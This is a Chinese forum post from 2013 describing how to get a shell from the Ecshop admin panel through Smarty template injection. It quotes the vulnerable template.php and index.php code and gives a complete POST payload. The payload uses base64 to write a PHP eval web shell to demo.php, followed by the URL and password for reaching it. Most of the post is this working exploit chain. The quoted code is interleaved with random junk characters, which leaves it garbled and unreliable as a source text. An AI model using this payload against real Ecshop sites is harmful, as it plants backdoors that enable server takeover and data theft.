找回密码
 立即注册
查看: 2964|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板* e9 Z! A" k* S7 g

: w' Z) K: ]0 [, @3 D而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了7 P8 R& Z4 T  Z5 k) W
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ \* ?3 `$ q7 s: X; |5 S0 Ladmin/template.php* g& q# _3 D, H. m+ v  u

6 e! k9 o- c! s) `3 O! s/ X& B1 if ($_REQUEST['act'] == 'update_library')
; D2 U* v( r6 U" Y, p1 O4 F" T+ s$ ~: G
2   : O! z1 h& C" J7 ?0 K
6 g4 K  @2 G* ^! ^
3 {
3 y6 @1 D8 x/ M9 U; ^- x/ K1 P  A8 q. V1 E" U5 ^
4     check_authz_json('library_manage'); ! Z  W7 c0 M: A2 ]2 y
5 v" }  ?; P- f0 F1 N) F& \- J% d" V
5   $ U8 Y$ X. I1 a, m; A6 G
5 \$ ]' S5 |/ ?
6     $html = stripslashes(json_str_iconv($_POST['html'])); ; J0 L8 Q5 b" Q! ^  X1 M: e& s
0 ?' |) c6 I, T5 a3 P3 ^5 M
7   ( [2 R) F/ }! {9 F* c" g

6 M, Z# P0 q- b0 \8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 * R. R9 i( R. v0 v$ J

. X* H: Y8 W. w9   
  M: g" m$ Z$ p, A7 Z+ |3 M
$ p) n8 K; i! |- e: Q! l10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
- ]1 @3 m( y% m5 C" \( ^
4 M( Y8 J9 ]3 w: g" @) L11   2 C, W2 n1 c8 n1 h
" u3 q: z" L% z. p
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
6 u+ m4 T6 J; [4 K: \4 ~% ^! D4 L8 |4 U8 e% Z
13   
/ k- D0 O: ^7 S3 P' I) _  w# J/ q' E4 X3 P% ^* x3 x2 B
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 C( E, E3 d; G
* k! V( N' _: t" P15     {
0 i* ~* r  d" Q" d
% C) p) E8 M4 K$ z. S' A# [; p) C16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); * O, S+ l+ V. h7 V
& A) U& P/ N% U; e2 s4 K. V5 V4 I
17         make_json_result('', $_LANG['update_lib_success']); 2 H/ R0 s" P# {- h/ O. t. L: Q
$ [" G& F( G. q5 U% r2 P
18     }
9 W5 A: p5 M% z) |+ A+ z$ K9 D( Y4 G8 r5 u
19     else
, f% I' {2 Q/ e+ w$ F. v9 p; N6 k9 _+ c# e9 m/ f+ N1 d) o+ Y, g
20     { 4 V% K3 e) W0 ~1 j5 ]! a2 [5 W
& I- l9 S, ~1 B( e  W
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 4 G; J. n+ [, @  l9 W

$ R5 M5 @4 W8 x22     } & @5 P9 X7 z* A3 K- u% Z/ L

) ~( U* u$ O9 R/ s, N# ?23 }
6 ?1 R" C+ W6 o* |, c0 A
7 F4 g5 @- z/ }那么找个比较方便调用了模板的文件
8 a( Y% F( r/ K; Lindex.php% L% K( ]! ?6 P6 H  M

+ @/ K: W# R$ ^4 A" W  b2 V1 if ($act == 'cat_rec') ; l" |! R  b( F1 B  N& p6 u
* }% u  J# U! t3 q
2   
9 ~1 O' q. ^6 N$ \3 h$ {- S/ b' ?3 e; {  d0 v$ l
3 {
* a1 G* A0 R3 Y; C. S1 X/ U3 a" A9 L9 ]" D
4   2 z, D% m7 I6 n( r

: ^9 w% a0 a" a8 I/ o& h$ d. u: r, F5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); & a1 c( `2 ^/ \# G7 L0 U

+ r0 b' s# q% Y! u6   
2 _' Z, D/ }7 s  _. S, v$ B7 a/ D2 @* L4 \" B! \' x! e: m
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; . z7 Q# e# e9 R) d

8 n! N. e- S+ o% m/ \$ L8   
. }% C, \; t! z$ ]( ~- w' _' J$ p7 Y  ?
% J! _6 e5 A% _  P. Z% ?  N5 ]& Q5 C9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 4 @, Z# g5 K( Q) Q6 \# A% F

, Z+ B4 p) b8 G# B4 U0 o10   . `$ n  W0 p. Q9 S

+ V" M5 c" J! [11     include_once('includes/cls_json.php');
4 e8 e( `- I' x5 T2 r% o, a( H- u3 q# A5 S  Q) H
12   
0 {* C2 j# s6 S8 H4 D( B
; N6 i, L4 j1 D: c13     $json = new JSON;   U) P" C( \2 L1 b- V% W: T+ {
( K/ P3 Y, L/ X/ [. j! e
14   
% Z1 `1 e5 d; b1 K+ t8 a' M& e0 j) ?' w, |
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 1 X- j: {# A% R9 R6 o/ b& d
3 g7 I! X5 e7 I
16   , e: x+ U5 D- T( N( L: X

( z& ], q! v' _# v* F5 V17     $children = get_children($cat_id);
$ U4 e; J( ^& W' c7 F, k8 b& Y5 _4 P$ w* n$ T' _8 _& e6 f! G2 \
18   , |+ Q* b3 J- o4 r% u3 U
" R* _# O- ^# O3 H+ B3 n1 {
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
$ O- o6 [6 T$ X7 c, J% m* F  q: M% o6 }* C- v
20   & F& O5 K! b9 u7 m  Q4 L" N
+ M: |3 L  \* Y; F3 W( u2 }' Q
21     $smarty->assign('cat_rec_sign', 1);
7 @+ O, h, H% V2 c" ~/ v' H1 X6 i; T# O
22   
7 F$ B( C* h6 J  n8 n+ |4 A9 Z  _, g0 P4 p
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 Z& u2 W9 V$ I' O! N4 g- o* e
3 ]2 w6 z" s* R. O
24   0 e# w, q0 c$ _7 b0 T
0 f: Z$ c/ e! g
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; # }+ ~2 E+ L$ w2 X
$ T/ V4 h2 [7 f' x
26   
' R7 }4 `' ~' g$ |4 q
" b4 |% m! r4 z& K% }: y8 Y27         echo $rec_array[$rec_type];
6 n7 e5 ~+ f/ K& j+ R% Y/ r2 Z; X% ?' v
28   
' Y) S' s% n' J! ?) K3 t2 ~4 H
% L) L/ x8 ^5 b) v' v- H( r29     die($json->encode($result));
! d1 V5 T" h) l
2 h6 Z3 L; p) M+ Q0 m7 K30   1 M* s4 c8 E' b' P

* |4 h' s" f% S. i2 W31 }
- F  i; B  ?8 a9 v& \# W% ~' D+ W0 x2 J8 Z
那么就有利用方法了
9 d6 ?% `- O1 Xpost包到http://localhost/ec/admin/template.php?act=update_library
9 x6 J% M1 j2 q" A9 U& ZPost内容:
4 t0 A4 p  c' y0 F
( X* |4 t% S3 z. |- ~
/ u6 c9 A$ ~- w) @3 e1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 z; ^6 Y2 z7 U5 z4 U7 A1 R' `* V. k# D# H* R5 |, s# ^
然后访问http://localhost/ec/index.php?act=cat_rec1 Q6 q( z) P* _+ @( M6 E

6 z1 O5 L& _7 g) U: S( d6 y* Oshel地址:http://localhost/ec/demo.php% Z, d, |8 y; Z( B
密码c
7 l" W5 ?% W( y) z$ `, s* l
! d& \5 ]/ c7 p. f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表